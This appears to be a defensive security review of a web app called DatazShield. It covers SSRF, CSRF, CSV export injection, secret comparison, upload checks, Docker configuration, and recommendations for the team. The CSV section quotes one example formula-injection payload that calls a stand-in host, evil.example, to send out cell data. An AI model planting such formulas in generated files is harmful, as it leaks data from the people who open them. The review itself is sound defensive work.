This document is the result of a full security review of DatazShield (auth-service, core-service, cleaning-worker, frontend, database schema, and deployment config), performed prior to the investor demo. It covers: what was reviewed, what was found, what was fixed directly in this codebase, and what remains as an operational recommendation for the team (things that need a business/infra decision, not just code — e.g. buying a WAF, rotating a secret, enabling a cloud provider feature).
Baseline assessment: the codebase already followed strong practices before this
review — parameterized SQL everywhere (no string-built queries), bcrypt(12) password
hashing, hashed (not raw) refresh tokens and API keys, refresh-token rotation,
account lockout + OTP lockout, Zod input validation on every route, tenant/org
access control centralized in one module (datasetAccess.js) instead of duplicated
per-controller, httpOnly cookies (no tokens in localStorage, so no JS-readable
session token to steal via XSS), and secrets kept out of .env.example/git. The
findings below are additions/hardening on top of that baseline, not a rescue of a
broken system.
Where: services/core-service/src/controllers/webhook.controller.js,
utils/webhooks.js.
Issue: Users can register a webhook URL that core-service later POSTs signed
event payloads to (createWebhook, testWebhook, and the async fan-out in
dispatchWebhooks). The only validation was "must be https://". A malicious or
compromised account could register https://<attacker-controlled-domain>/ that
resolves to 169.254.169.254 (cloud instance metadata), 127.0.0.1, or an internal
service hostname/IP (postgres, redis, core-service itself), turning our server
into a proxy for internal network access — a classic SSRF (OWASP API7:2023).
Fix: New services/core-service/src/utils/ssrfGuard.js:
- Resolves the hostname via DNS and blocks private/loopback/link-local/reserved IP ranges (RFC1918, 127.0.0.0/8, 169.254.0.0/16 incl. the metadata IP, ULA IPv6, etc.), not just a hostname blocklist — this also stops DNS rebinding (a domain that resolves to a public IP now but could be repointed at an internal one later).
- Blocks credentials-in-URL, non-
httpsschemes, and a set of internal-service ports (Postgres, Redis, MongoDB, etc.) even on an otherwise-public IP. - Re-validates on every dispatch, not just at creation time, and re-validates
on every redirect hop via a
safeFetch()wrapper that follows redirects manually —fetch()'s default auto-redirect would otherwise let a URL that passed validation 302 straight into a blocked address.
Where: new services/{auth,core}-service/src/middleware/csrf.js, wired into
both app.js.
Issue: Auth uses httpOnly cookies. In the intended topology, the browser only
ever talks to the Next.js origin, which proxies server-side to the two backend
services, so cookies are effectively first-party. But both services' ports are
also directly published in docker-compose.yml (5001, 5002), and
COOKIE_SECURE=true (production) sets sameSite: "none" to support that direct
path — which means a cross-site <form> POST (a "simple request", not subject to
CORS preflight) would carry the user's cookies to a state-changing endpoint on the
backend directly, bypassing the frontend entirely. No CSRF token or Origin check
existed to catch this.
Fix: Origin/Referer verification middleware (the OWASP-recommended primary
defense for cookie-authenticated JSON APIs) on every non-safe method (POST,
PUT, PATCH, DELETE). Requests are only checked when they're actually relying
on a cookie for auth (bearer-token / API-key requests are exempt — there's no
ambient credential for a third party to ride on). A request whose Origin (or,
absent that, Referer) doesn't match the configured CLIENT_URL is rejected with
403 CSRF_BLOCKED before it reaches any controller.
Where: services/core-service/src/utils/csv.js
(rowsToCsv/rowsToExcelBuffer), services/auth-service/src/controllers/adminManagement.controller.js
(exportAuditLogsCsv).
Issue: Exported cell values (cleaned dataset rows, audit log metadata) were
written verbatim. If a user-uploaded row contains a value starting with =, +,
-, or @ (e.g. =HYPERLINK("http://evil.example/steal?"&A1,"click") or a DDE
payload), Excel/Sheets/LibreOffice evaluate it as a formula the instant the
exported file is opened — a classic vector for data exfiltration or, in older
Excel/DDE configurations, command execution. This is attacker data flowing into a
file we generate and hand to a (possibly different) user to open, not something the
uploader's own risk alone.
Fix: Any field beginning with a formula-trigger character now gets a leading
' (apostrophe), which every major spreadsheet application renders as literal text
instead of evaluating — applied before RFC 4180 quoting in the CSV path and before
XLSX.utils.json_to_sheet in the Excel export path.
Where: services/core-service/src/routes/internal.routes.js.
Issue: The Python worker → core-service internal webhook-notify endpoint
compared x-internal-secret with !==, a non-constant-time string compare. In
principle this leaks how many leading characters matched via response timing,
letting an attacker with network access to this internal route brute-force the
secret character-by-character. Low real-world exploitability (the route isn't
internet-facing and the timing signal is small), but cheap and standard to fix.
Fix: crypto.timingSafeEqual on equal-length buffers (length itself is
checked separately, which only leaks secret length, not content).
Where: services/core-service/src/middleware/csvUpload.js,
services/auth-service/src/middleware/avatarUpload.js.
Issue: Both upload middlewares validated the filename extension only
(/\.(csv|xlsx|xls)$/i, /\.(jpg|jpeg|png|webp)$/i) — trivially spoofed by
renaming any file. Uploaded bytes were otherwise handled safely (parsed with
csv-parse/xlsx, not executed; forwarded to Cloudinary which independently
validates real image content for resource_type: "image"), so this was
defense-in-depth rather than a direct exploit path, but worth tightening ahead of a
public demo.
Fix: Added a MIME-type allowlist check alongside the extension check on both middlewares.
Where: docker-compose.yml, new .env.compose.example.
Issues:
- Postgres and Redis both published ports to
0.0.0.0(all interfaces), reachable from anywhere the host is reachable from, not just other containers. - Redis had no password (
--requirepass) at all — anyone who could reach port6379could read/write/flush the live job queue. - Postgres/Redis credentials were hardcoded literals in the compose file
(
datazshield_user/datazshield_pass), so "change the password" meant editing a tracked file instead of an untracked secret.
Fix:
- All service ports that don't need to be reachable from outside the Docker
network now bind to
127.0.0.1explicitly (127.0.0.1:5432:5432,127.0.0.1:6379:6379). - Redis now requires a password (
--requirepass), sourced fromREDIS_PASSWORD; both core-service and the worker connect with it in theirREDIS_URL. - All credentials are now
${VAR:-dev-default}— overridable via a root-level.env(see.env.compose.example) without touching the tracked compose file, with dev-only fallbacks sodocker compose upstill works out of the box locally. - Added
deploy.resources.limits(cpu/memory) per service so one runaway container can't starve the others on the same host — also relevant to the load section below. - See
docker-compose.prod.yml(added as part of the scaling work below) for the production posture: no host-published DB/Redis ports at all.
Documented so the reasoning is visible, not just the conclusion:
- SQL injection — the Python worker (
worker/db/repository.py) and Node services (Prisma) use parameterized queries / an ORM exclusively; grepped the whole repo for string-built SQL and found none. - Deserialization — the worker↔queue payloads are JSON (
json.loads/json.dumps) end to end, neverpickleoreval. - XSS / injected scripts — no
dangerouslySetInnerHTML, noeval, no dynamicFunction()construction anywhere in the frontend. - Session token storage — access/refresh tokens live only in
httpOnlycookies, neverlocalStorage/sessionStorage, so they aren't readable by injected JS even in a hypothetical XSS. - IDOR / multi-tenant isolation — every dataset-scoped controller routes through
the single
getAccessibleDataset()/datasetVisibilityWhere()helpers indatasetAccess.js, which throw a 404 (never 403) on no-access so a dataset's existence isn't leaked, and separates "can view" from "can manage" (owner or org OWNER/ADMIN only) for destructive actions. - Privilege escalation via the compliance-role endpoint —
setComplianceRoleis explicitly restricted to flipping onlyUSER ↔ COMPLIANCE_VIEWER; it refuses to touch any account that's alreadyADMIN/SUPER_ADMIN, so a compromised admin session can't use it to self-escalate further. - Password policy & brute force — 8+ chars with complexity requirements
enforced server-side (Zod), bcrypt cost 12, account lockout after 5 failed
attempts (15 min), separate strict rate limit on all auth-sensitive routes, OTPs
capped at
OTP_MAX_ATTEMPTSand invalidated on next-request. - Account enumeration —
resendOtp/forgotPasswordreturn the same response whether or not the email exists. - Regex DoS (ReDoS) — the PII-detector patterns (
pii_detector.py) are all anchored with bounded quantifiers; none have the nested/overlapping quantifier shape that causes catastrophic backtracking. - Stack traces / internal errors — both services' error handlers only include
err.stackwhenNODE_ENV === "development"; production responses are message + error code only. - Secrets in the repo — every
.env.exampleships with blank values;.gitignoreexcludes real.env/.env.localfiles.
These need a decision or external setup, not a code change in this repo:
- Rotate all secrets before the demo if any
.envfile has ever been shared over email/Slack/screen-share —JWT_ACCESS_SECRET,JWT_REFRESH_SECRET,ADMIN_SIGNUP_CODE,INTERNAL_API_SECRET, Cloudinary keys,POSTGRES_PASSWORD,REDIS_PASSWORD. - TLS termination: this app assumes TLS is terminated in front of it (load
balancer / ingress / reverse proxy) —
COOKIE_SECURE=trueand HSTS (Strict-Transport-Security, now set innext.config.mjs) both require it, and neither service listens on 443 itself. Confirm the demo/production ingress actually does this. - Consider MFA/step-up verification for admin login. Regular login already has
OTP-gated email verification and a
LOGIN_2FAOTP purpose exists in the schema, butadminLogincurrently only checks password. For an investor demo, admin accounts are a small, low-traffic set — a good candidate to wireLOGIN_2FAintoadminLoginas a follow-up if there's time; flagged here rather than changed silently since it changes the admin login UX/flow. - Dependency scanning in CI: run
npm audit --omit=dev(per Node service) andpip install pip-audit && pip-audit -r requirements.txt(worker) on every PR — not run as part of this review since it requires network access to the registries from the CI environment, not something to bake into application code. - WAF / DDoS protection in front of the public endpoints for the investor demo if it's reachable from the open internet — the app-level rate limiting here protects the app, not the network layer.
- Backups: confirm the Postgres volume (or managed DB, if used for the demo) has automated backups — a data-cleaning product losing a demo dataset mid-pitch is a bad look independent of any security issue.
- Auth model: short-lived JWT access token (15m default) + opaque, hashed,
rotating refresh token (30d default) issued via
httpOnlycookies; core-service verifies the JWT locally using a secret shared with auth-service (no network round-trip per request) or accepts a hashed API key for programmatic access. - Multi-tenancy: personal datasets (
organizationId = null) vs. org datasets, access resolved once per request throughdatasetAccess.js. - Compliance features already in place: GDPR/CCPA self-service erasure
(cascading delete + a
SetNull-actor audit trail proving the request was honored), per-dataset retention windows + a sweep job, CSV audit-log export, IP-allowlisted API keys, signed (HMAC-SHA256) outbound webhooks. - Inter-service trust boundary: Node↔Node trusts a shared JWT secret; Python
worker↔Node core-service trusts a shared bearer-style secret header
(
x-internal-secret), now compared in constant time (§1.4) and only used for a single narrow endpoint.
Last reviewed: this pass. Re-review recommended after any change to auth, payment/billing (if added later), file upload, or webhook/integration code.